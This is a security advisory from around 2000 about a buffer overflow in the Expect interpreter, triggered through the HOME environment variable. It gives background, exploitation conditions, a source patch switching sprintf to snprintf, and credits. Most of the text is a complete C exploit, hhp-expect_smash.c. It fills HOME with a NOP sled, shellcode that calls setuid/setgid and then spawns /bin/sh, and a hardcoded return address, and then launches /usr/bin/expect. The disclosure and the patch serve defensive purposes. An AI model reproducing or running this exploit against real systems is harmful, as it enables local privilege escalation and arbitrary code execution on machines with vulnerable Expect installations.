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hhp adv-17                                           Sec-Advisory/Exploit/Patch

                            www.hhp-programming.net

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Topic:     Expect.

Versions:  5.31.8 and 5.28.1, maybe others.

Date:      12/12/2000

Platforms: Tested on Slackware Linux 7.x, maybe others.

Authors:   Read credits.

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THIS  ADVISORY IS BASED UPON SELF TESTING RESULTS.  WE DO NOT GARAUNTEE THE IN-

FORMATION STATED BELOW WILL BE CORRECT IN ALL SITUATIONS.





1) BACKGROUND



- Expect.

  Expect  is a program to control interactive applications.  These applications

  interactively  prompt and expect a user to enter keystrokes in response.   By

  using  Expect,  you  can write simple scripts to automate these interactions.





2) OVERVIEW 



- It  is possible to cause Expect to segfault due to impropper bounds checking.

  EIP  can  then be overwritten and the flow of execution changed.  It is poss-

  ible  to exploit any script that uses the the Expect program(Scripting lang).





3) SETBACK



- If  an  Execpt script is suid/sgid it most likely is not possible to gain the

  set  privleges  due  to the execution of Expect before any permission changes

  take effect.





4) REPRODUCTION



- If  an  application  is  suid/sgid  and sets the effective UID or GID without

  cleansing  the  environment  then  calls upon Expect or via an Expect script,

  it is possible to exploit the Expect scripting interpreter.

  



5) EXPLOIT



--------------------- SNIP ----------------------------------------------------

/* hhp-expect_smash.c (12/11/00)

 *

 * expect (/usr/bin/expect) buffer overflow.

 * Tested 5.31.8 and 5.28.1, slackware 7.x (Maybe others).

 *

 * By: isox

 * Site: www.hhp-programming.net

 * Advisory: www.hhp-programming.net/ouradvisories/hhp-expect_adv%2317.txt

 */



#include 

#include 



#define NOP                     0x90

#define OFFSET                  0

#define BUFLEN                  416

#define RET			0xbffff580   /* Slackware 7.1 */

#define EXPECT                  "/usr/bin/expect"



char code[] =

 "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x66\x31\xc0\x66\x31"

 "\xdb\xb0\x2e\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0"

 "\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08"

 "\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8"

 "\xdc\xff\xff\xff/bin/sh\x69";



void usage(char *arg) {

  fprintf(stderr, "\nUsage: %s [offset up/down] [eip]\n\n", arg);

  fprintf(stderr, "Examples:\n");

  fprintf(stderr, "\t%s 347 up                 -=- Default EIP increased by 347 bytes\n", arg);

  fprintf(stderr, "\t%s 347 down               -=- Default EIP decreased by 347 bytes\n", arg);

  fprintf(stderr, "\t%s 429 up 0x%lx      -=- EIP set to 0x%lx and increased by 429 bytes\n", arg, RET, RET + 429);

  fprintf(stderr, "\t%s 429 down 0x%lx    -=- EIP set to 0x%lx and decreased by 429 bytes\n\n", arg, RET, RET - 429);

  exit(1);

}





int main(int argc, char *argv[]) {

  char *buf, *p;

  long *addressp, address;

  int offset=OFFSET;

  int i;





  if((argc < 3) || (argc > 4))

    usage(argv[0]);



  if(argc == 3) {

    if(!strcmp(argv[2], "up")) {

      address = RET + atoi(argv[1]);

      printf("Increasing offset by: %d\n", atoi(argv[1]));

      printf("Increasing EIP to: 0x%x\n\n", RET + atoi(argv[1]));

    }



    if(!strcmp(argv[2], "down")) {

      address = RET - atoi(argv[1]);

      printf("Decreasing offset by: %d\n", atoi(argv[1]));

      printf("Decreasing EIP to: 0x%x\n\n", RET - atoi(argv[1]));

    }

  }



  if(argc >= 4) {

    if(!strcmp(argv[2], "up")) {

      address = strtoul(argv[3], NULL, 16) + atoi(argv[1]);

      printf("Setting EIP to: 0x%x\n", strtoul(argv[3], NULL, 16));

      printf("Increasing offset by: %d\n", atoi(argv[1]));

      printf("Increasing EIP to: 0x%x\n\n", (strtoul(argv[3], NULL, 16) + atoi(argv[1])));

    }

    if(!strcmp(argv[2], "down")) {

      address = strtoul(argv[3], NULL, 16) + atoi(argv[1]);

      printf("Setting EIP to: 0x%x\n", strtoul(argv[3], NULL, 16));

      printf("Decreasing offset by: %d\n", atoi(argv[1]));

      printf("Decreasing EIP to: 0x%x\n\n", (strtoul(argv[3], NULL, 16) - atoi(argv[1])));

    }

  }





  if (!(buf = (char *)malloc(BUFLEN))) {

    printf("Can't allocate memory.\n");

    exit(-1);

  }



  p = buf;

  addressp = (long *) p;



  for (i = 0; i < BUFLEN; i+=4) {

    *(addressp++) = address;

  }



  for (i = 0; i < (BUFLEN - strlen(code) - 4); i++) {

    buf[i] = NOP;

  }



  p = buf + (BUFLEN - strlen(code) - 4);



  for (i = 0; i < strlen(code); i++)

    *(p++) = code[i];



  buf[BUFLEN] = '\0';





  setenv("HOME", buf, 1);

  system(EXPECT);

}

--------------------- SNAP ----------------------------------------------------





6) SOLUTION



 - Apply  this  patch  made  and tested on version 5.31.8.  To apply the patch,

   take  this  snippet out and name it hhp-expect.patch in the expect-5.31 dir-

   ectory.   Then  type...  'patch -p1 < hhp-expect.patch'  and  finish  with a

   'make' and a 'make install'



--------------------- SNIP ----------------------------------------------------

--- old/exp_main_sub.c  Sun Dec 17 04:01:50 2000

+++ new/exp_main_sub.c  Sun Dec 17 04:02:46 2000

@@ -761,14 +761,14 @@

            }

        }

        if (my_rc) {

-           char file[200];

+           char file[256];

            char *home;

            int fd;

            char *getenv();

            if ((NULL != (home = getenv("DOTDIR"))) ||

                (NULL != (home = getenv("HOME")))) {

-               sprintf(file,"%s/.expect.rc",home);

+               snprintf(file, 256-1, "%s/.expect.rc", home); // Temporary fix.

                if (-1 != (fd = open(file,0))) {

                    if (TCL_ERROR == (rc = Tcl_EvalFile(interp,file))) {

                        expErrorLog("error executing file: %s\r\n",file);



--------------------- SNAP ----------------------------------------------------





7) CREDITS



 - Ben Lull (isox) (plix@chainsawbeer.com)    - Bug finding, exploit, testing.

 - Cody Tubbs (loophole) (pigspigs@yahoo.com) - Advisory, patch, testing.